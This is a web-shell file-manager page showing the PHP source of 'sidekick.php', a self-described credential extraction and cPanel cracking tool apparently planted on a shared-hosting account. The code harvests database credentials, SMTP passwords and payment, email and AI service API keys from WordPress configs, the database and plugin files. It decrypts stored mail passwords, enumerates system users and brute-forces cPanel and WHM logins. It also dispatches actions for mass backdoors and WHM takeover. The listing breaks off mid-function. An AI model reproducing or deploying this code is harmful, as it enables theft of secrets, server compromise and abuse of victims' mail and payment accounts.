HEX
Server: Apache/2.4.63 (Unix)
System: Linux pinkman.beget.ru 5.10.258-0-beget-acl #1 SMP Mon Jun 8 11:35:04 UTC 2026 x86_64
User: kulikosl (3031)
PHP: 8.4.6
Disabled: NONE
Upload Files
File: /home/k/kulikosl/kulikosl.beget.tech/public_html/sidekick.php
<?php
/*
 * sidekick.php — server-side credential extraction + cPanel cracker
 * Pure PHP only: no exec/system/passthru — bypasses disable_functions completely.
 * Actions: ping | smtps | users | cp | smtp_create | whm_takeover
 */
@error_reporting(0);
@set_time_limit(300);
@ignore_user_abort(true);

$act = trim($_POST['action'] ?? $_GET['action'] ?? '');
header('Content-Type: application/json');

if ($act === 'ping')  {
    echo json_encode([
        'ok'          => 1,
        'php'         => PHP_VERSION,
        'self_dir'    => dirname(__FILE__),
        'script_name' => ($_SERVER['SCRIPT_NAME'] ?? ''),
        'doc_root'    => ($_SERVER['DOCUMENT_ROOT'] ?? ''),
    ]);
    exit;
}
if ($act === 'smtps')        { try { smtps_handler(); } catch (Throwable $e) { echo json_encode(['error' => $e->getMessage()]); } exit; }
if ($act === 'users')        { users_handler();         exit; }
if ($act === 'cp')           { cp_handler();            exit; }
if ($act === 'smtp_create')  { smtp_create_handler();   exit; }
if ($act === 'whm_takeover')   { whm_takeover_handler();    exit; }
if ($act === 'configs')        { configs_handler();        exit; }
if ($act === 'mass_backdoor')  { mass_backdoor_handler();  exit; }
if ($act === 'cp_plant')       { cp_plant_handler();       exit; }
if ($act === 'mail_harvest')   { mail_harvest_handler();   exit; }
if ($act === 'whmcs')          { whmcs_handler();          exit; }
if ($act === 'db_dump')        { db_dump_handler();        exit; }
if ($act === 'sysinfo')      { sysinfo_handler();       exit; }
if ($act === 'files')        { files_handler();         exit; }
if ($act === 'mysql')        { mysql_handler();         exit; }
if ($act === 'write')        { write_handler();         exit; }
http_response_code(404); echo '{}';

// ── wp-config helpers ─────────────────────────────────────────────────────────

function find_wpconfig(): ?string {
    // DOCUMENT_ROOT is within open_basedir on every standard config — check first
    $dr = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
    if ($dr) {
        foreach ([$dr . '/wp-config.php', dirname($dr) . '/wp-config.php'] as $f) {
            if (@is_readable($f) && @filesize($f) > 200) return $f;
        }
    }
    $d = __DIR__;
    for ($i = 0; $i < 8; $i++) {
        $f = $d . '/wp-config.php';
        if (@is_readable($f) && @filesize($f) > 200) return $f;
        $nd = dirname($d);
        if ($nd === $d) break;
        $d = $nd;
    }
    return null;
}

function parse_wpconfig(string $src): array {
    $out = [];
    foreach (['DB_NAME','DB_USER','DB_PASSWORD','DB_HOST',
              'AUTH_KEY','SECURE_AUTH_KEY','AUTH_SALT',
              'SMTP_HOST','SMTP_USER','SMTP_USERNAME','SMTP_PASS','SMTP_PASSWORD','SMTP_PORT',
              'SMTP_FROM','SMTP_FROM_NAME','WP_MAIL_SMTP_PASS','WP_SMTP_HOST',
              'WP_SMTP_USER','WP_SMTP_PASS','MAIL_FROM','MAILER_DSN',
              'SENDGRID_API_KEY','MAILGUN_API_KEY','MAILGUN_DOMAIN',
              'SES_ACCESS_KEY','SES_SECRET_KEY','SES_REGION',
              'WPMS_MAIL_ENCRYPTION_KEY'] as $k) {
        if (preg_match('/define\s*\(\s*[\'"]' . preg_quote($k,'/')
                       . '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]/', $src, $m))
            $out[$k] = $m[1];
    }
    return $out;
}

function decrypt_smtp_pass(string $enc, string $mail_key, string $auth_key, string $auth_salt): string {
    if (strlen($enc) < 30) return $enc;
    $raw = @base64_decode($enc, true);
    if ($raw === false || strlen($raw) < 17) return $enc;

    $try_dec = function($data, $key, $mode) {
        $iv     = substr($data, 0, 16);
        $cipher = substr($data, 16);
        $d = @openssl_decrypt($cipher, $mode, $key, OPENSSL_RAW_DATA, $iv);
        if ($d !== false && strlen($d) > 0 && ctype_print($d)) return $d;
        $d = @openssl_decrypt($cipher, $mode, $key, 0, $iv);
        if ($d !== false && strlen($d) > 0 && ctype_print(trim($d))) return trim($d);
        return false;
    };

    // WP Mail SMTP v3+: sodium secretbox (nonce=24 + ciphertext)
    if ($mail_key && function_exists('sodium_crypto_secretbox_open') && strlen($raw) > 24) {
        $k = @sodium_hex2bin($mail_key);
        if (strlen($k) < 32) $k = @base64_decode($mail_key);
        if (strlen($k) >= 32) {
            $nonce = substr($raw, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
            $ct    = substr($raw, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
            $d = @sodium_crypto_secretbox_open($ct, $nonce, $k);
            if ($d !== false && strlen($d) > 0 && ctype_print($d)) return $d;
        }
    }
    // WP Mail SMTP Pro: AES-256-CBC with mail_key
    if ($mail_key) {
        $k = @sodium_hex2bin($mail_key);
        if (strlen($k) < 16) $k = @base64_decode($mail_key);
        if (strlen($k) >= 16) {
            $r = $try_dec($raw, $k, 'AES-256-CBC');
            if ($r !== false) return $r;
        }
    }
    // Older: sha256/md5 of AUTH_KEY or AUTH_SALT
    foreach ([$auth_key, $auth_salt] as $src) {
        if (!$src) continue;
        foreach (['sha256', 'md5'] as $h) {
            $k  = substr(hash($h, $src), 0, 32);
            $k2 = substr($k, 0, 16);
            foreach (['AES-256-CBC','AES-128-CBC'] as $m) {
                $r = $try_dec($raw, strlen($m) > 7 ? $k : $k2, $m);
                if ($r !== false) return $r;
            }
        }
    }
    return $enc; // return original if all attempts fail
}

// ── action: smtps ─────────────────────────────────────────────────────────────

function smtps_handler(): void {
    $smtps  = [];
    $db_out = [];

    $cfg_path = find_wpconfig();
    $db = $cfg_path ? parse_wpconfig((string)@file_get_contents($cfg_path)) : [];
    $auth_key  = $db['AUTH_KEY']        ?? '';
    $auth_salt = $db['AUTH_SALT']       ?? '';
    $sec_auth  = $db['SECURE_AUTH_KEY'] ?? '';
    if (!$auth_key) $auth_key = $sec_auth;

    if (!empty($db['DB_USER'])) {
        $db_out = [
            'host' => $db['DB_HOST'] ?? 'localhost',
            'user' => $db['DB_USER'],
            'pass' => $db['DB_PASSWORD'] ?? '',
            'name' => $db['DB_NAME'] ?? '',
        ];
        $conn = @mysqli_connect(
            $db['DB_HOST'] ?? 'localhost',
            $db['DB_USER'],
            $db['DB_PASSWORD'] ?? '',
            $db['DB_NAME'] ?? '',
            3306
        );
        if ($conn) {
            // detect table prefix
            $prefix = 'wp_';
            $q = @mysqli_query($conn, "SHOW TABLES LIKE '%options'");
            while ($r = @mysqli_fetch_row($q)) {
                if (preg_match('/^([a-zA-Z0-9_]+)options$/', $r[0], $m)) {
                    $prefix = $m[1]; break;
                }
            }
            $tbl = mysqli_real_escape_string($conn, $prefix . 'options');
            $keys = "'wp_mail_smtp','wp_mail_smtp_options','wp_mail_smtp_mail_key',"
                  . "'swpsmtp_options','postman_options','mailpoet_settings',"
                  . "'newsletter_smtp_host','newsletter_smtp_password',"
                  . "'fluentmail-smtp-connections','fluentmail-smtp-settings',"
                  . "'mailgun','smtp2go_options','wposes_settings',"
                  . "'sib_smtp_option','elasticemail_settings','wpsp_settings',"
                  . "'mailster_options','haet_mail_options','smtp_mailer_options',"
                  . "'wp_smtp_host','wp_smtp_port','wp_smtp_user','wp_smtp_pass',"
                  . "'mailgun_api_key','mg_api_key','sendgrid_api_key','sengrid_api_key',"
                  . "'sib_api_key','sendinblue_api_key','sparkpost_api_key',"
                  . "'aws_access_key_id','aws_secret_access_key',"
                  . "'openai_api_key','anthropic_api_key',"
                  . "'woocommerce_stripe_settings','woocommerce_paypal_settings',"
                  . "'woo_razorpay_settings','woocommerce_coinbase_settings',"
                  . "'mailchimp_sf_mc_api_key','mc4wp_settings','mc_api_key',"
                  . "'klaviyo_api_key','hubspot_api_key','activecampaign_api_key'";
            $res = @mysqli_query($conn, "SELECT option_name,option_value FROM `$tbl` WHERE option_name IN ($keys)");
            $opts = [];
            while ($row = @mysqli_fetch_assoc($res)) {
                $opts[$row['option_name']] = $row['option_value'];
            }
            // also fetch admin_email separately (not in the IN list above)
            $ae_res = @mysqli_query($conn, "SELECT option_value FROM `$tbl` WHERE option_name='admin_email' LIMIT 1");
            $admin_email = $ae_res ? (@mysqli_fetch_row($ae_res)[0] ?? '') : '';
            @mysqli_close($conn);
            $mail_key = $opts['wp_mail_smtp_mail_key'] ?? '';
            $smtps = parse_smtp_opts($opts, $mail_key, $auth_key, $auth_salt);
        }
    }

    // Feed wp-config SMTP constants into smtps array (already parsed into $db)
    $api_keys = [];
    if (!empty($db['SMTP_HOST'])) {
        $smtps[] = [
            'source' => 'wpconfig/SMTP_HOST',
            'host'   => $db['SMTP_HOST'],
            'port'   => (int)($db['SMTP_PORT'] ?? 587),
            'user'   => $db['SMTP_USER'] ?? $db['SMTP_USERNAME'] ?? $db['SMTP_FROM'] ?? '',
            'pass'   => $db['SMTP_PASS'] ?? $db['SMTP_PASSWORD'] ?? $db['WP_SMTP_PASS'] ?? '',
            'enc'    => 'tls',
        ];
    }
    if (!empty($db['WP_SMTP_HOST'])) {
        $smtps[] = [
            'source' => 'wpconfig/WP_SMTP_HOST',
            'host'   => $db['WP_SMTP_HOST'],
            'port'   => 587,
            'user'   => $db['WP_SMTP_USER'] ?? '',
            'pass'   => $db['WP_SMTP_PASS'] ?? '',
            'enc'    => 'tls',
        ];
    }
    if (!empty($db['MAILER_DSN'])) {
        // e.g. smtp://user:pass@smtp.example.com:587
        if (preg_match('#smtp[s]?://([^:@]*):([^@]*)@([^:/]+):(\d+)#i', $db['MAILER_DSN'], $dm)) {
            $smtps[] = ['source' => 'wpconfig/MAILER_DSN', 'host' => $dm[3],
                        'port' => (int)$dm[4], 'user' => urldecode($dm[1]),
                        'pass' => urldecode($dm[2]), 'enc' => 'tls'];
        }
    }
    // API tokens in wp-config
    foreach ([
        ['SENDGRID_API_KEY', 'api.sendgrid.com', 'sendgrid'],
        ['MAILGUN_API_KEY',  'api.mailgun.net',   'mailgun'],
        ['SES_ACCESS_KEY',   'email.amazonaws.com','ses'],
    ] as [$ckey, $host, $svc]) {
        if (!empty($db[$ckey])) {
            $api_keys[] = ['source' => "wpconfig/$ckey", 'service' => $svc,
                           'key' => $db[$ckey], 'domain' => $db['MAILGUN_DOMAIN'] ?? ''];
        }
    }

    // Plugin directory file scanner
    $plugin_api_keys = scan_plugin_dirs();
    foreach ($plugin_api_keys as $pkey) { $api_keys[] = $pkey; }

    // cPanel webmail shadow accounts — inject DB password as candidate for Python to verify
    $webmail_accounts = scan_webmail_shadows();
    $wm_db_pass = $db_out['pass'] ?? '';
    foreach ($webmail_accounts as $wa) {
        $wa['_db_pass'] = $wm_db_pass;
        $smtps[] = $wa;
    }

    // F-Automatical technique: create a new cPanel email via uapi directly (no panel login needed)
    $uapi_created = uapi_create_smtp_account($db_out);
    if ($uapi_created) {
        $smtps[] = $uapi_created;
    }

    echo json_encode([
        'smtps'      => $smtps,
        'db'         => $db_out,
        'mail_key'   => $mail_key ?? '',
        'admin_email'=> $admin_email ?? '',
        'api_keys'   => $api_keys,
    ]);
}

function parse_smtp_opts(array $opts, string $mail_key = '', string $auth_key = '', string $auth_salt = ''): array {
    $out = [];

    // wp_mail_smtp (most common plugin)
    foreach (['wp_mail_smtp', 'wp_mail_smtp_options'] as $key) {
        if (empty($opts[$key])) continue;
        $d = @unserialize($opts[$key]);
        if (!is_array($d)) $d = @json_decode($opts[$key], true);
        if (!is_array($d)) continue;
        $mailer = $d['mail']['mailer'] ?? ($d['mailer'] ?? 'smtp');
        $s = $d['smtp'] ?? [];
        if ($mailer === 'smtp' && !empty($s['host'])) {
            $out[] = ['source' => 'wp_mail_smtp', 'host' => $s['host'],
                      'port' => (int)($s['port'] ?? 587), 'user' => $s['user'] ?? '',
                      'pass' => $s['pass'] ?? '', 'enc' => $s['encryption'] ?? 'tls'];
        } elseif (in_array($mailer, ['sendgrid','mailgun','sendinblue','gmail','outlook','zoho','sparkpost','mailjet'], true)) {
            $api = $d[$mailer] ?? [];
            $k = $api['api_key'] ?? $api['client_secret'] ?? $api['api_secret'] ?? $api['secret'] ?? '';
            $from_email = $d['mail']['from_email'] ?? $d['mail']['from_name'] ?? '';
            if ($k) $out[] = ['source' => "wp_mail_smtp/$mailer", 'host' => "api.$mailer.com",
                               'port' => 0, 'user' => 'apikey', 'pass' => $k, 'enc' => '',
                               'from_email' => $from_email];
        }
        break;
    }

    // Easy WP SMTP / swpsmtp
    if (!empty($opts['swpsmtp_options'])) {
        $d = @unserialize($opts['swpsmtp_options']);
        if (!is_array($d)) $d = @json_decode($opts['swpsmtp_options'], true);
        if (is_array($d) && !empty($d['smtp_host'])) {
            $out[] = ['source' => 'easy_wp_smtp', 'host' => $d['smtp_host'],
                      'port' => (int)($d['smtp_port'] ?? 587), 'user' => $d['smtp_username'] ?? '',
                      'pass' => $d['smtp_password'] ?? '', 'enc' => $d['smtp_ssl'] ?? 'tls'];
        }
    }

    // FluentMail
    if (!empty($opts['fluentmail-smtp-connections'])) {
        $d = @json_decode($opts['fluentmail-smtp-connections'], true);
        if (is_array($d)) {
            foreach ($d as $conn) {
                $s = $conn['settings'] ?? [];
                if (!empty($s['host'])) {
                    $out[] = ['source' => 'fluentmail', 'host' => $s['host'],
                              'port' => (int)($s['port'] ?? 587),
                              'user' => $s['username'] ?? '', 'pass' => $s['password'] ?? '',
                              'enc' => $s['encryption'] ?? 'tls'];
                } elseif (!empty($s['api_key'])) {
                    $out[] = ['source' => 'fluentmail/api', 'host' => '', 'port' => 0,
                              'user' => 'apikey', 'pass' => $s['api_key'], 'enc' => ''];
                }
            }
        }
    }

    // Postman SMTP
    if (!empty($opts['postman_options'])) {
        $d = @unserialize($opts['postman_options']);
        if (!is_array($d)) $d = @json_decode($opts['postman_options'], true);
        if (is_array($d) && !empty($d['host_name'])) {
            $out[] = ['source' => 'postman_smtp', 'host' => $d['host_name'],
                      'port' => (int)($d['port'] ?? 587),
                      'user' => $d['sender_email'] ?? '',
                      'pass' => $d['authentication_password'] ?? '',
                      'enc' => $d['security_type'] ?? 'tls'];
        }
    }

    // Mailgun for WP — apiKey field in JSON blob
    if (!empty($opts['mailgun'])) {
        $d = @json_decode($opts['mailgun'], true);
        if (!is_array($d)) $d = @unserialize($opts['mailgun']);
        $mgk = '';
        if (is_array($d)) {
            $mgk = $d['apiKey'] ?? $d['api_key'] ?? $d['key'] ?? '';
        } elseif (preg_match('/[A-Za-z0-9_\-]{32,}/', $opts['mailgun'], $mk)) {
            $mgk = $mk[0];
        }
        if ($mgk) {
            $mgdom = is_array($d) ? ($d['domain'] ?? $d['hostname'] ?? '') : '';
            $out[] = ['source' => 'mailgun_wp', 'host' => 'api.mailgun.net',
                      'port' => 0, 'user' => 'api', 'pass' => $mgk, 'enc' => '',
                      'domain' => $mgdom];
        }
    }
    // Raw API key options stored as plain strings
    foreach (['mailgun_api_key','mg_api_key'] as $mk) {
        if (!empty($opts[$mk]) && strlen(trim($opts[$mk])) > 10) {
            $out[] = ['source' => $mk, 'host' => 'api.mailgun.net',
                      'port' => 0, 'user' => 'api', 'pass' => trim($opts[$mk]), 'enc' => ''];
        }
    }
    foreach (['sendgrid_api_key','sengrid_api_key'] as $sk) {
        if (!empty($opts[$sk]) && strlen(trim($opts[$sk])) > 10) {
            $out[] = ['source' => $sk, 'host' => 'api.sendgrid.com',
                      'port' => 0, 'user' => 'apikey', 'pass' => trim($opts[$sk]), 'enc' => ''];
        }
    }
    foreach (['sib_api_key','sendinblue_api_key'] as $bk) {
        if (!empty($opts[$bk]) && strlen(trim($opts[$bk])) > 10) {
            $out[] = ['source' => $bk, 'host' => 'api.brevo.com',
                      'port' => 0, 'user' => 'api-key', 'pass' => trim($opts[$bk]), 'enc' => ''];
        }
    }

    // Brevo/SIB SMTP option
    if (!empty($opts['sib_smtp_option'])) {
        $d = @unserialize($opts['sib_smtp_option']);
        if (!is_array($d)) $d = @json_decode($opts['sib_smtp_option'], true);
        if (is_array($d) && !empty($d['smtp_host'])) {
            $out[] = ['source' => 'brevo_smtp', 'host' => $d['smtp_host'],
                      'port' => (int)($d['smtp_port'] ?? 587),
                      'user' => $d['smtp_login'] ?? $d['smtp_user'] ?? '',
                      'pass' => $d['smtp_password'] ?? $d['smtp_pass'] ?? '',
                      'enc'  => 'tls'];
        } elseif (is_array($d) && !empty($d['api_key'])) {
            $out[] = ['source' => 'brevo_api', 'host' => 'api.brevo.com',
                      'port' => 0, 'user' => 'api-key', 'pass' => $d['api_key'], 'enc' => ''];
        }
    }

    // SMTP2GO
    if (!empty($opts['smtp2go_options'])) {
        $d = @unserialize($opts['smtp2go_options']);
        if (!is_array($d)) $d = @json_decode($opts['smtp2go_options'], true);
        if (is_array($d)) {
            $out[] = ['source' => 'smtp2go', 'host' => 'mail.smtp2go.com',
                      'port' => (int)($d['port'] ?? 2525),
                      'user' => $d['username'] ?? $d['user'] ?? '',
                      'pass' => $d['password'] ?? $d['api_key'] ?? '',
                      'enc'  => 'tls'];
        }
    }

    // WP Offload SES (wposes_settings)
    if (!empty($opts['wposes_settings'])) {
        $d = @unserialize($opts['wposes_settings']);
        if (!is_array($d)) $d = @json_decode($opts['wposes_settings'], true);
        if (is_array($d)) {
            $acc = $d['access_key_id']     ?? $d['aws_access_key'] ?? '';
            $sec = $d['secret_access_key'] ?? $d['aws_secret_key'] ?? '';
            if ($acc || $sec) {
                $out[] = ['source' => 'wp_offload_ses', 'host' => 'email.amazonaws.com',
                          'port' => 587, 'user' => $acc, 'pass' => $sec, 'enc' => 'tls',
                          'region' => $d['region'] ?? 'us-east-1'];
            }
        }
    }

    // Elastic Email
    if (!empty($opts['elasticemail_settings'])) {
        $d = @unserialize($opts['elasticemail_settings']);
        if (!is_array($d)) $d = @json_decode($opts['elasticemail_settings'], true);
        if (is_array($d)) {
            $eek = $d['api_key'] ?? $d['apiKey'] ?? $d['password'] ?? '';
            if ($eek) {
                $out[] = ['source' => 'elastic_email', 'host' => 'smtp.elasticemail.com',
                          'port' => 2525, 'user' => $d['username'] ?? $d['email'] ?? '',
                          'pass' => $eek, 'enc' => 'tls'];
            }
        }
    }

    // SparkPost (wpsp_settings)
    if (!empty($opts['wpsp_settings'])) {
        $d = @unserialize($opts['wpsp_settings']);
        if (!is_array($d)) $d = @json_decode($opts['wpsp_settings'], true);
        if (is_array($d)) {
            $spk = $d['api_key'] ?? $d['sparkpost_api_key'] ?? '';
            if ($spk) {
                $out[] = ['source' => 'sparkpost', 'host' => 'smtp.sparkpostmail.com',
                          'port' => 587, 'user' => 'SMTP_Injection', 'pass' => $spk, 'enc' => 'tls'];
            }
        }
    }

    // wp_smtp_* flat options (some older plugins store individual keys)
    if (!empty($opts['wp_smtp_host'])) {
        $out[] = ['source' => 'wp_smtp_flat', 'host' => $opts['wp_smtp_host'],
                  'port' => (int)($opts['wp_smtp_port'] ?? 587),
                  'user' => $opts['wp_smtp_user'] ?? '', 'pass' => $opts['wp_smtp_pass'] ?? '',
                  'enc'  => 'tls'];
    }

    // WooCommerce Stripe (API key harvest)
    if (!empty($opts['woocommerce_stripe_settings'])) {
        $d = @unserialize($opts['woocommerce_stripe_settings']);
        if (!is_array($d)) $d = @json_decode($opts['woocommerce_stripe_settings'], true);
        if (!empty($d['secret_key'])) {
            $out[] = ['source' => 'stripe', 'host' => 'api.stripe.com', 'port' => 443,
                      'user' => 'sk', 'pass' => $d['secret_key'], 'enc' => ''];
        }
    }

    // Mailchimp API key
    if (!empty($opts['mailchimp_sf_mc_api_key'])) {
        $k = trim($opts['mailchimp_sf_mc_api_key']);
        if (strlen($k) > 10)
            $out[] = ['source' => 'mailchimp', 'host' => 'api.mailchimp.com', 'port' => 0,
                      'user' => 'apikey', 'pass' => $k, 'enc' => ''];
    }

    // Decrypt any encrypted passwords server-side before returning
    foreach ($out as &$entry) {
        $pw = $entry['pass'] ?? '';
        if ($pw && strlen($pw) >= 30 && preg_match('/^[A-Za-z0-9+\/]{30,}={0,2}$/', trim($pw))) {
            $dec = decrypt_smtp_pass(trim($pw), $mail_key, $auth_key, $auth_salt);
            if ($dec !== $pw) $entry['pass'] = $dec;
        }
    }
    unset($entry);
    return $out;
}

// ── plugin directory credential scanner ───────────────────────────────────────

function scan_plugin_dirs(): array {
    $found = [];
    // Locate wp-content/plugins relative to this file
    $base = __DIR__;
    $plugins_dir = null;
    for ($i = 0; $i < 8; $i++) {
        $try = $base . '/wp-content/plugins';
        if (@is_dir($try)) { $plugins_dir = $try; break; }
        $nd = dirname($base);
        if ($nd === $base) break;
        $base = $nd;
    }
    if (!$plugins_dir) return $found;

    // Patterns: [regex, label, capture_group_index]
    $patterns = [
        // Stripe
        ['/\bsk_live_[A-Za-z0-9]{24,}/',           'Stripe-SK',       0],
        ['/\brk_live_[A-Za-z0-9]{24,}/',           'Stripe-RK',       0],
        // Mailgun
        ['/\bkey-[a-f0-9]{32}/',                   'Mailgun-API',     0],
        // SendGrid
        ['/\bSG\.[A-Za-z0-9_\-]{22,}\.[A-Za-z0-9_\-]{43,}/', 'SendGrid-API', 0],
        // GitHub PAT (classic + fine-grained)
        ['/\bghp_[A-Za-z0-9]{36,}/',              'GitHub-PAT',      0],
        ['/\bgithub_pat_[A-Za-z0-9_]{40,}/',      'GitHub-FGPAT',    0],
        // GitLab
        ['/\bglpat-[A-Za-z0-9_\-]{20,}/',         'GitLab-PAT',      0],
        // Slack
        ['/\bxox[bpoa]-[0-9A-Za-z\-]{10,}/',      'Slack-token',     0],
        // Anthropic
        ['/\bsk-ant-[A-Za-z0-9_\-]{80,}/',        'Anthropic',       0],
        // Resend
        ['/\bre_[A-Za-z0-9]{32,}/',               'Resend',          0],
        // Brevo/SIB — xkeysib-...
        ['/\bxkeysib-[A-Za-z0-9_\-]{64,}/',       'Brevo-API',       0],
        // Postmark
        ['/\b[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}\b/', 'UUID-token', 0],
        // SMTP password assignments
        ['/[\'"]smtp[_\-]?pass(?:word)?[\'"]\s*=>\s*[\'"]([^\'"]{6,})[\'"]/',  'SMTP-pass',  1],
        ['/define\s*\(\s*[\'"]SMTP_(?:PASS|PASSWORD)[\'"]\s*,\s*[\'"]([^\'"]{6,})[\'"]/', 'SMTP-cfg-pass', 1],
        // SMTP host
        ['/[\'"]smtp[_\-]?host[\'"]\s*=>\s*[\'"]([^\'"]{6,})[\'"]/',           'SMTP-host',  1],
        // Generic API key assignments
        ['/[\'"]api[_\-]?key[\'"]\s*=>\s*[\'"]([A-Za-z0-9_\-]{20,})[\'"]/',   'API-key',    1],
        ['/[\'"](?:secret|token)[_\-]?key[\'"]\s*=>\s*[\'"]([A-Za-z0-9_\-]{20,})[\'"]/', 'Secret-key', 1],
    ];

    $iter = @new \RecursiveIteratorIterator(
        new \RecursiveDirectoryIterator($plugins_dir,
            \FilesystemIterator::SKIP_DOTS | \FilesystemIterator::FOLLOW_SYMLINKS),
        \RecursiveIteratorIterator::LEAVES_ONLY
    );

    $seen = [];
    $file_count = 0;
    foreach ($iter as $file) {
        if ($file_count++ > 2000) break; // safety cap
        $path = $file->getPathname();
        $ext  = strtolower($file->getExtension());
        if (!in_array($ext, ['php', 'env', 'ini', 'conf', 'json'], true)) continue;
        $size = @filesize($path);
        if (!$size || $size > 512000) continue; // skip >512 KB files

        $content = @file_get_contents($path);
        if (!$content) continue;

        foreach ($patterns as [$pat, $label, $grp]) {
            if (!preg_match_all($pat, $content, $matches)) continue;
            foreach ($matches[$grp] as $val) {
                $val = trim($val);
                if (strlen($val) < 8) continue;
                $uid = $label . ':' . $val;
                if (isset($seen[$uid])) continue;
                $seen[$uid] = true;
                // Strip path prefix to wp-content for shorter output
                $rel = str_replace($plugins_dir, '/wp-content/plugins', $path);
                $found[] = ['source' => "plugin_scan$rel", 'service' => $label, 'key' => $val];
            }
        }
    }
    return $found;
}

// ── action: users ─────────────────────────────────────────────────────────────

function users_handler(): void {
    $users = [];
    $cpanel_users = [];

    $passwd = @file_get_contents('/etc/passwd');
    if ($passwd) {
        foreach (explode("\n", trim($passwd)) as $line) {
            $p = explode(':', $line);
            if (count($p) < 7) continue;
            $uid = (int)$p[2];
            if ($uid < 500 || $uid > 65000) continue;
            $shell = $p[6] ?? '';
            if (strpos($shell, 'nologin') !== false || strpos($shell, '/false') !== false) continue;
            $users[] = ['user' => $p[0], 'uid' => $uid, 'home' => $p[5]];
        }
    }

    foreach (['/etc/userdomains', '/etc/trueuserdomains'] as $udfile) {
        $ud = @file_get_contents($udfile);
        if (!$ud) continue;
        foreach (explode("\n", trim($ud)) as $line) {
            $parts = explode(': ', $line, 2);
            if (count($parts) === 2) $cpanel_users[] = trim($parts[1]);
        }
    }
    $cpanel_users = array_values(array_unique($cpanel_users));

    echo json_encode(['users' => $users, 'cpanel_users' => $cpanel_users]);
}

// ── action: cp ────────────────────────────────────────────────────────────────

function cp_handler(): void {
    $has_curl   = function_exists('curl_init');
    $has_stream = function_exists('stream_socket_client');
    if (!$has_curl && !$has_stream) {
        echo json_encode(['error' => 'no_curl_no_stream', 'cracked' => [], 'resellers' => []]);
        return;
    }

    $usernames = array_values(array_filter(array_map('trim',
        explode("\n", $_POST['usernames'] ?? ''))));
    $passwords = array_values(array_filter(array_map('trim',
        explode("\n", $_POST['passwords'] ?? ''))));

    $ext_host = trim($_POST['cpanel_host'] ?? '');
    $hosts = ['localhost'];
    if ($ext_host && $ext_host !== 'localhost' &&
        preg_match('/^[a-zA-Z0-9._-]+$/', $ext_host)) {
        $hosts[] = $ext_host;
    }

    $skip = ['root','daemon','nobody','www-data','apache','apache2','nginx','http',
             'mail','ftp','sshd','mysql','postgres','bin','sys','ntp','postfix',
             'dovecot','exim','named','dnsmasq'];

    $cracked   = [];
    $resellers = [];

    foreach ($usernames as $u) {
        if (!$u || in_array($u, $skip, true)) continue;
        foreach ($passwords as $pw) {
            if (!$pw || strlen($pw) < 4) continue;
            $token = null; $used_host = null; $used_port = 2083;

            foreach ($hosts as $h) {
                if ($has_curl) {
                    // HTTPS 2083 first (standard cPanel)
                    $t = cp_login_token($u, $pw, 2083, $h);
                    if ($t) { $token = $t; $used_host = $h; $used_port = 2083; break; }
                    // HTTP 2082 fallback (non-SSL installs)
                    $t = cp_login_token($u, $pw, 2082, $h);
                    if ($t) { $token = $t; $used_host = $h; $used_port = 2082; break; }
                }
                // stream_socket_client fallback when curl is disabled (shared hosting jails)
                if (!$token && $has_stream) {
                    $t = cp_login_token_stream($u, $pw, 2083, $h);
                    if ($t) { $token = $t; $used_host = $h; $used_port = 2083; break; }
                    $t = cp_login_token_stream($u, $pw, 2082, $h);
                    if ($t) { $token = $t; $used_host = $h; $used_port = 2082; break; }
                }
            }
            if (!$token) continue;

            // Determine cpsess — works for both curl jar-tokens and stream tokens
            $is_stream = (strpos($token, '|__stream__') !== false);
            $cpsess_m  = null;
            preg_match('/cpsess[0-9a-f]+/i', $token, $cpsess_m);
            $cpsess = $cpsess_m[0] ?? '';

            $domain = '';
            if ($has_curl && !$is_stream) {
                $dom_raw = cp_api_get($token, $used_port, 'DomainInfo/main_domain', $used_host);
                if ($dom_raw) {
                    $dom_j = @json_decode($dom_raw, true);
                    $domain = $dom_j['data']['main_domain'] ?? '';
                }
            } elseif ($cpsess && $has_stream) {
                $dom_raw = cp_api_stream($cpsess, $used_port, 'DomainInfo/main_domain', $used_host);
                if ($dom_raw) {
                    $dom_j = @json_decode($dom_raw, true);
                    $domain = $dom_j['data']['main_domain'] ?? '';
                }
            }
            if (!$domain) $domain = $u;

            $smtp_info = [];
            if ($has_curl && !$is_stream) {
                $smtp_info = cp_create_smtp($token, $used_port, $u, $domain, $used_host);
            } elseif ($cpsess && $has_stream) {
                $smtp_info = cp_create_smtp_stream($cpsess, $used_port, $u, $domain, $used_host);
            }

            $cracked[] = [
                'user'   => $u,
                'pass'   => $pw,
                'port'   => $used_port,
                'host'   => $used_host,
                'domain' => $domain,
                'smtp'   => $smtp_info,
            ];

            // WHM reseller check via form login on port 2087/2086
            foreach ($hosts as $h) {
                $whm_ok = false;
                if ($has_curl) {
                    $whm_ok = cp_try_plain($u, $pw, 2087, $h);
                    if (!$whm_ok) $whm_ok = cp_try_plain($u, $pw, 2086, $h);
                } elseif ($has_stream) {
                    $wt = cp_login_token_stream($u, $pw, 2087, $h);
                    if (!$wt) $wt = cp_login_token_stream($u, $pw, 2086, $h);
                    $whm_ok = (bool)$wt;
                }
                if ($whm_ok) {
                    $resellers[] = ['user' => $u, 'pass' => $pw, 'host' => $h];
                    break;
                }
            }
            break;
        }
    }

    echo json_encode(['cracked' => $cracked, 'resellers' => $resellers]);
}

function cp_login_token(string $user, string $pass, int $port, string $host = 'localhost'): string {
    $jar = tempnam(sys_get_temp_dir(), 'cpjar_');
    $ch = curl_init("https://$host:$port/login/?login_only=1");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => 'user=' . rawurlencode($user)
                                . '&pass=' . rawurlencode($pass),
        CURLOPT_TIMEOUT        => 8,
        CURLOPT_CONNECTTIMEOUT => 5,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS      => 3,
        CURLOPT_COOKIEJAR      => $jar,
        CURLOPT_COOKIEFILE     => $jar,
    ]);
    $resp = curl_exec($ch);
    curl_close($ch);
    if (!$resp) { @unlink($jar); return ''; }
    $ok = strpos($resp, '"status":1') !== false || stripos($resp, 'cpsess') !== false;
    if (!$ok) { @unlink($jar); return ''; }
    if (preg_match('/cpsess([0-9a-f]+)/i', $resp, $m))
